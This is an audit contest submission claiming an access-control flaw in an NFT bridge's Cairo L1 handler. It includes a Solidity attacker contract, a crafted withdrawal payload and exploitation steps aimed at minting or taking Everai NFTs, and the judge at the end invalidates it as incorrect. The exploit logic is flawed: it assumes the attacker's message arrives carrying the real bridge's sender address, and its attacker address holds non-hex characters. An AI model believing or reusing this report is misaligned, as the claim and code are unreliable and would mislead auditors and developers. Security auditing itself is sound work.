NFTBridge
60,000 USDC
View results
Submission Details
Severity: high
Invalid

Insufficient Access Control in L1 Handler Function in bridge.cairo

Summary:
Insufficient Access Control in L1 Handler Function

Vulnerability Details:
The withdraw_auto_from_l1 function in the bridge.cairo contract is marked as an #[l1_handler], allowing it to be called directly from L1. However, the function lacks proper access control to ensure that only the authorized L1 bridge contract can initiate this call. The current implementation only checks that the from_address matches the stored bridge_l1_address, which is insufficient to guarantee the authenticity of the L1 message.

#[l1_handler]
fn withdraw_auto_from_l1(
ref self: ContractState,
from_address: felt252,
req: Request
) {
ensure_is_enabled(@self);
assert(self.bridge_l1_address.read().into() == from_address,
'Invalid L1 msg sender');
// ... rest of the function
}

This vulnerability allows an attacker to potentially bypass the L1 bridge contract entirely and directly call the withdraw_auto_from_l1 function with crafted data, compromising the integrity of the bridging process.

Concrete Example of Exploiting the Vulnerability:

Step 1: Setup

  • Legitimate L1 Bridge Address: 0x5FC8d32690cc91D4c39d9d3abcBD16989F875707

  • Attacker's L1 Address: 0x1337C0D3R00000000000000000000000BADAC70R

  • Attacker's L2 Address: 0x000069696969696969696969696969696969696969696969696969696969BEEF

  • Valuable NFT Collection L1 Address: 0x9A38deC0590aBc8c883D72e52391090e948Ddf12 (Everai)

  • Corresponding NFT Collection L2 Address: 0x02acee8c430f62333cf0e0e7a94b2347b5513b4c25f699461dd8d7b23c072478

Step 2: Attacker Deploys Malicious L1 Contract
The attacker deploys a contract on Ethereum that can send messages to Starknet:

contract MaliciousBridge {
address public constant STARKNET_CORE = 0xc662c410C0ECf747543f5bA90660f6ABeBD9C8c4;
uint256 public constant STARKLANE_L2_ADDRESS = 0x0155713d9f99c3cba8eea4dcf3224a60162de750a426d6d17ba81b338d82ce6d;
uint256 public constant WITHDRAW_AUTO_SELECTOR = 0x03593216f3a8b22f4cf375e5486e3d13bfde9d0f26976d20ac6f653c73f7e507;
function sendMaliciousMessage(uint256[] memory payload) external {
IStarknetMessaging(STARKNET_CORE).sendMessageToL2(
STARKLANE_L2_ADDRESS,
WITHDRAW_AUTO_SELECTOR,
payload
);
}
}

Step 3: Craft Malicious Payload
The attacker constructs a payload that mimics a legitimate withdrawal request:

uint256[] memory payload = new uint256[](21);
payload[0] = 0x101; // header (ERC721, no auto-burn, no auto-withdraw)
payload[1] = 0x1337; // hash (low)
payload[2] = 0x1337; // hash (high)
payload[3] = 0x9A38deC0590aBc8c883D72e52391090e948Ddf12; // collection_l1 (Everai)
payload[4] = 0x02acee8c430f62333cf0e0e7a94b2347b5513b4c25f699461dd8d7b23c072478; // collection_l2
payload[5] = 0x1337C0D3R00000000000000000000000BADAC70R; // owner_l1 (attacker's L1 address)
payload[6] = 0x000069696969696969696969696969696969696969696969696969696969BEEF; // owner_l2 (attacker's L2 address)
payload[7] = 0; // name length
payload[8] = 0; // name data
payload[9] = 0; // name data length
payload[10] = 0; // symbol length
payload[11] = 0; // symbol data
payload[12] = 0; // symbol data length
payload[13] = 0; // base_uri length
payload[14] = 0; // base_uri data
payload[15] = 0; // base_uri data length
payload[16] = 2; // ids length
payload[17] = 42; // first token ID
payload[18] = 0;
payload[19] = 69; // second token ID
payload[20] = 0;

Step 4: Send Malicious Message
The attacker calls their malicious contract to send the crafted message:

MaliciousBridge(MALICIOUS_BRIDGE_ADDRESS).sendMaliciousMessage(payload);

Step 5: L2 Bridge Processes the Message
On Starknet, the withdraw_auto_from_l1 function is triggered with:

  • from_address: 0x5FC8d32690cc91D4c39d9d3abcBD16989F875707 (legitimate bridge address)

  • req: The deserialized payload

The function performs these key steps:

  1. Checks if the bridge is enabled (passes)

  2. Asserts the from_address matches self.bridge_l1_address (passes due to the vulnerability)

  3. Processes the request:

    • Verifies the collection addresses (passes)

    • For each token ID (42 and 69):

      • If the token is in escrow, transfers it to the attacker's L2 address

      • If not in escrow, mints a new token to the attacker's L2 address

Step 6: Attacker Gains Control of NFTs
The attacker now owns Everai NFTs with IDs 42 and 69 on Starknet, without having locked or burned any tokens on Ethereum.

Impact:
The impact of this vulnerability is severe. An attacker could:

  1. Initiate unauthorized withdrawals of NFTs from L2 to L1.

  2. Manipulate the bridging process to mint tokens on L2 without the corresponding lock or burn on L1.

  3. Potentially drain or redirect NFTs held in escrow by the bridge contract.

This vulnerability undermines the entire security model of the cross-chain NFT bridge, potentially leading to significant financial losses for users and a complete breakdown of trust in the bridging mechanism.

Tools Used:

  • Manual code review

  • Static analysis of the Cairo smart contract

Recommendations:

  1. Implement a robust message verification mechanism that cryptographically verifies the authenticity of L1 messages. This should leverage Starknet's built-in L1-to-L2 message verification system.

  2. Add a nonce system to prevent replay attacks and ensure each message can only be processed once.

  3. Implement a two-step verification process where the L1 message triggers a state change, and a separate function (callable only by authorized parties) completes the withdrawal after additional checks.

  4. Consider implementing a time-lock mechanism for large or suspicious withdrawals, allowing for manual review if necessary.

By implementing these recommendations, the security of the L1-to-L2 messaging in the bridge contract will be significantly enhanced, mitigating the risk of unauthorized withdrawals and maintaining the integrity of the cross-chain NFT bridging process.

Updates

Lead Judging Commences

n0kto Lead Judge 9 months ago
Submission Judgement Published
Invalidated
Reason: Incorrect statement

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.